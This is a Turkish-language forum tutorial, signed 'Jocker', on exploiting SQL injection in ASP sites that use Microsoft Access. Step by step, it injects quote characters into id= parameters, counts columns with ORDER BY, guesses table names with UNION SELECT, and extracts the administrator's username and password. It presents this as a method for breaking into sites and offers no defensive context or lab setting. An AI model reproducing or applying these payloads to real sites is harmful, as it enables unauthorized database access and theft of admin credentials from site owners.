Access SQL Injection çogu zaman asp diliyle yazilmis sitelerde bulunur.
Sitemiz color=#0000cc www.haybersqlogretiyo.com olsun.
Bu sitede ID Degeri olan linkler arayacagiz SQL Injection için.
Bunlari nasil buluruz?
Mesela sitenin haber bölümü vardir.
color=#0000cc www.haybersqlogretiyo.com/news.asp?id=2 gibi
yada baska bölümü vardir
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10
gibi.
Iste böyle id= degeri olan linkler arayacagiz.
Bu linklerin numarasinin ucuna Injection hatasi almamiz için " ’ ’a vs. gibi seyler ekleyecegiz.
Bakiniz ;
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10"
Eger söyle bir hata veriyorsa o sitede SQL Injection var demektir.
----------------------------------------
Microsoft JET Database Engine error ’80040e14’
Syntax error in string in query expression ’id = 10";’.
/baskabirbolum.asp, line 7
-------------------------------
Evet SQL Injection oldugunu gördük.Simdi ise arkadaslar injection yapmamiz için sitenin tablo adini,kolon sayisini,kolon adlarini bilmemiz gerekir.
Accessde is tahmindir arkadaslar,deneme/yanilma yöntemiyle birçok is yapilir.
Simdi ise kolon sayilarini bulacagiz.
Kolon sayilarini bulmak için order+by fonksiyonunu kullacagiz.
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+order+by+1
Order+by+1 dedik ekran ayni hiçbir hata yok hatta ekranda yazilar var?
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+order+by+10 dedik Fakat farkli bir ekran var.
Alinan hataya bakalim,
------------------------------------------------
Microsoft JET Database Engine error ’80040e14’
The Microsoft Jet database engine does not recognize ’10’ as a valid field name or expression.
/news.asp, line 7
-----------------------------------------------
10’dan düsük kolon sayisi oldugunu belirtiyor bu hatada.
Iste böyle giderek kolon sayisini bulabiliriz.
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+order+by+9 yapalim yine ayni hatayi verdi?
Bu sefer 1 basamak daha düsürüyoruz yine ayni hatayi verdi?
iste bu hatadan baska birsey çikarsa o kolon sayisini belirtir.
Yani son durumda ;
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+order+by+8 dedik ve baska bir ekran çikti.

Böyle bir yazi aldik diyelim.Iste bu 8 tane kolon’un oldugunu gösterir.
Simdi kolon sayisinida bulduk ama, bir tek tablo adi ve o tablo adina uygun kolon adlari kaldi.
Kolon sayilarini yazdik arkadaslar ve hayber adli tablo adini da ekledik söyle bir hata aldik?
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+union+select+0,1,2,3,4,5,6,7+from+hayber girdik ve böyle bir hata aldik;
---------------------------------------
Microsoft JET Database Engine error ’80040e37’
The Microsoft Jet database engine cannot find the input table or query ’hayber’. Make sure it exists and that its name is spelled correctly.
/baskabirbolum.asp, line 7
--------------------------------------
Hatamiz diyorki,hayber adli bir tablo bende bulunmuyor.
Simdi baska tablo adlari deneyecegiz.
Yönetici vs. sifresi nerde barinir? yada haberler ? (News tablosunda,haber tablosunda gibi)
Users,user,admin,admins gibi tablo adlarinda.Onlari deneyelim birde.
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+union+select+0,1,2,3,4,5,6,7+from+users
Denedik girdik ve;

Ve gördügünüz gibi kolon sayilari ekrana yansidi.Bu da demek oluyorki uygun bir tablo adini seçtik,sifrelerin barindigi bir tablo adi bulduk.
Simdi ise ekrana vuran kolon sayisinin yerine kolon adi yazarak admin ve sifresini almak kaldi.
Bazi kolon adlari;
username,password,user,pass vs. vs. ( tabi bu her tablo adina göre degisir)
kolon adlarini yani 1 e username 2 ye de password yazdik girdik ve ;
color=#0000cc www.haybersqlogretiyo.com/baskabibolum.asp?id=10+union+select+0,username,password,3,4,5,6,7+from+users

ve iste gördügünüz gibi yönetici adi ve sifresi çikti.
Üstteki yönetici adi(yani username)
alttaki de password(yani sifresi)
Accessde is tahmindir arkadaslar.Deneme/yanilma yöntemiyle yapicaksiniz.
Saygilarimla,
Jocker.